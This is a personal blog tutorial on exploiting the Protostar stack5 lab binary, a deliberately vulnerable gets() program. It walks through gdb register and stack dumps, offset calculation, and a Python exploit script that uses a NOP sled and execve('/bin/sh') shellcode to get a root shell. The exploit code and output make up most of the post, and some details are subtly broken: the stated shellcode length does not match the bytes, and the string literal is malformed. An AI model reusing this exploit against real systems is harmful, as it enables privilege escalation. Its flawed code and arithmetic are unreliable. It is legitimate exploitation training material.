Shellcode | Buffer-overflow
Hello exploiterz, welcome back to my blog-post about binary-exploitation. Today, I will be covering “How to use shellcode” while you are buffering the stack.
If you are ready to learn, lets get then started. We should understand what shellcode
is:
Shellcode is defined as a set of instructions injected and then executed by an exploited program. Shellcode is used to directly manipulate registers and the
function of a program, so it is generally written in assembler and translated into hexadecimal opcodes. You cannot typically inject shellcode written from a
high-level language, and there are subtle nuances that will prevent shellcode
from executing cleanly. I am not going to be focusing deeply into shellcode, which will be later written. In this blog, i just want to show you that it is possible to inject a shellcode into our target stack.
Analyzing the source code
In order to inject our malicious code, we need to consider “How many characters” its being used, or what kind of functions are being used, or even analyzing the syscall functions.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
As you can see that gets
has been used in this code. Later we will use more complicated code to enhance our skills. We can see that buffer
has been used to get maximal 64 characters from the user, or
you will be able to exploit the stack with more than 64 characters.
We can also check through gdb
debugger, lets check.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
this address will be used to set a breakpoint 0x80482e8
Awesome let’s try to use gdb.
(gdb) print $eip
$1 = (void (*)()) 0x41414141
(gdb) info registers
eax 0xbffffc60 -1073742752
ecx 0xbffffc60 -1073742752
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffcb0 0xbffffcb0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
as you can see that eip
has been overflowed to be 0x41414141
thus its vulnerable.
Shellcode injection
We know that this binary is potentially vulnerable so, every threat actor may be able to use this advantage to inject a shellcode.
In this blog we will see “How black hat hackers are able to inject a shellcode” Let me analyze this ELF file further. In order to be informed about the return address we should know that:
To overwrite the return address we have to find the exact address where the shell code start and that might vary so we are going to use NOPs to make life easier.
If you do not know what NOP
is:
The NOPs are instructions to do nothing, they will be skipped.
It means that now, we don’t need to get the exact address where our shell code start but any address in the NOPS,
the program will skip all the NOPS and execute the shell code. That way if the memory shift a bit, the exploit will still work.
A NOP instruction is represented using \x90.
In order to use our shellcode, i should demonstrate how we can use stack smashing
Please follow:
(gdb) run
Starting program: /opt/protostar/bin/stack5 $(python -c 'print "\x41" * 70')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax 0xbffff700 -1073744128
ecx 0xbffff700 -1073744128
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) info $esp
Undefined info command: "$esp". Try "help info".
(gdb) x/100x $esp
0xbffff750: 0x41414141 0x41414141 0x41414141 0x41414141 <- overwritten
0xbffff760: 0x41414141 0xffffff00 0xb7ffeff4 0x08048232
0xbffff770: 0x00000001 0xbffff7b0 0xb7ff0626 0xb7fffab0
0xbffff780: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff790: 0xbffff7c8 0x12ed81bf 0x38bb57af 0x00000000
0xbffff7a0: 0x00000000 0x00000000 0x00000002 0x08048310
0xbffff7b0: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0xbffff7c0: 0x00000002 0x08048310 0x00000000 0x08048331
0xbffff7d0: 0x080483c4 0x00000002 0xbffff7f4 0x080483f0
0xbffff7e0: 0x080483e0 0xb7ff1040 0xbffff7ec 0xb7fff8f8
0xbffff7f0: 0x00000002 0xbffff91d 0xbffff937 0x00000000
0xbffff800: 0xbffff97e 0xbffff988 0xbffff9ac 0xbffff9c0
0xbffff810: 0xbffff9c8 0xbffff9de 0xbffff9ee 0xbffffa01
0xbffff820: 0xbffffa0e 0xbffffa1d 0xbffffa29 0xbffffa3d
0xbffff830: 0xbffffa7b 0xbffffa8c 0xbfffff7c 0xbfffff8a
0xbffff840: 0xbfffffa1 0xbfffffd9 0x00000000 0x00000020
0xbffff850: 0xb7fe2414 0x00000021 0xb7fe2000 0x00000010
0xbffff860: 0x078bfbff 0x00000006 0x00001000 0x00000011
0xbffff870: 0x00000064 0x00000003 0x08048034 0x00000004
0xbffff880: 0x00000020 0x00000005 0x00000007 0x00000007
0xbffff890: 0xb7fe3000 0x00000008 0x00000000 0x00000009
0xbffff8a0: 0x08048310 0x0000000b 0x000003e9 0x0000000c
0xbffff8b0: 0x000003e9 0x0000000d 0x000003e9 0x0000000e
0xbffff8c0: 0x000003e9 0x00000017 0x00000001 0x00000019
0xbffff8d0: 0xbffff8fb 0x0000001f 0xbfffffe2 0x0000000f
Our goal was to smash the stack with \x41
, and I did!!
If you do know what esp
is:
register containing the address of the top of the stack base pointer.
0xbffff920: 0x72702f74 0x736f746f 0x2f726174 0x2f6e6962
0xbffff930: 0x63617473 0x4100356b 0x41414141 0x41414141
0xbffff940: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff950: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff960: 0x41414141 0x41414141 0x41414141 0x41414141
Awesome we are going to use the shellcode (/usr/bin) to get the root shell.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, main (argc=1, argv=0xbffff854) at stack5/stack5.c:11
11 in stack5/stack5.c
(gdb) x/2x $ebp
0xbffff7a8: 0xbffff828 0xb7eadc76
(gdb) x/50x $esp
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x08048300 0x00000000 0xbffff828 0xb7eadc76
0xbffff7b0: 0x00000001 0xbffff854 0xbffff85c 0xb7fe1848
0xbffff7c0: 0xbffff810 0xffffffff 0xb7ffeff4 0x08048232
0xbffff7d0: 0x00000001 0xbffff810 0xb7ff0626 0xb7fffab0
0xbffff7e0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff7f0: 0xbffff828 0x58c17cce 0x72966ade 0x00000000
0xbffff800: 0x00000000 0x00000000 0x00000001 0x08048310
0xbffff810: 0x00000000 0xb7ff6210
(gdb)
I had already calculated the offset manually:
>>> 0xbffff7ac - 0xbffff760
76
import struct
offset = "A"*76
esp = struct.pack("<I", 0xbffff7ac)
breakp = "\xcc"*4
print offset+esp+breakp
0xbffff7ac
is the esp address
\xcc
was given that means:
use \xcc (int3) to stop the program executing and return to the debugger
(gdb) x/8x $esp
0xbffffcac: 0x00000000 0xcccccccc 0xbffffd00 0xbffffd5c
0xbffffcbc: 0xb7fe1848 0xbffffd10 0xffffffff 0xb7ffeff4
Real shellcode injection
Now I am going to inject a shellcode from someone, who has already written for us. This part will be fun, but you should understand what I will be doing.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0 <----
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb)
We are going to use main+3
, we need to disassemble this main pointer
(gdb) break *main+3
Breakpoint 1 at 0x80483c7: file stack5/stack5.c, line 7.
(gdb) r
Starting program: /opt/protostar/bin/stack5
Breakpoint 1, 0x080483c7 in main (argc=1, argv=0xbffff854) at stack5/stack5.c:7
7 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) info registers
eax 0xbffff854 -1073743788
ecx 0x20781818 544741400
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7a8 0xbffff7a8
ebp 0xbffff7a8 0xbffff7a8
esi 0x0 0
edi 0x0 0
eip 0x80483c7 0x80483c7 <main+3>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
Awesome! Now, we will use twice si
command which means: seti or Execute one machine instruction.
esp 0xbffff750 0xbffff750 // this is our return address
ebp 0xbffff7a8 0xbffff7a8
as you saw earlier that;
We have been restricted with 64 characters thus:
using nop will be split 36, the length of given shellcode is 28
64-28 = 36
we can use 36 nop to be executed:
>>> print(hex(18))
0x12
we just need to add 0x12
to [esp+0x10+0x12]
which is [esp+0x22]
thus:
0xbffff750 + 0x22 = 0xbffff772
–> this our return address
nop = "\x90"*36
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\"
padding = "A" * 8 + "B" * 4
retadd = "\x72\xf7\xff\xbf"
print nop + shellcode + padding + retadd
# shellcode = 28
# padding = 12
# total-chars = 64
# result = 64-28 = 36
# offset = 76
# return address = 4 bytes
In order to execute this code:
user@protostar:/tmp$ python exp3.py > e6
user@protostar:/tmp$ (cat e6; cat) | /opt/protostar/bin/stack5
whoami
root
And we are root!!
Thank you for reading this blog!! I spent many hours to understand this exploitation, it was not easy nevertheless. I hope you enjoyed while reading this blog! More such challenges
will be written to be able to enhance our skills.
Ahmet | Reverse Engineer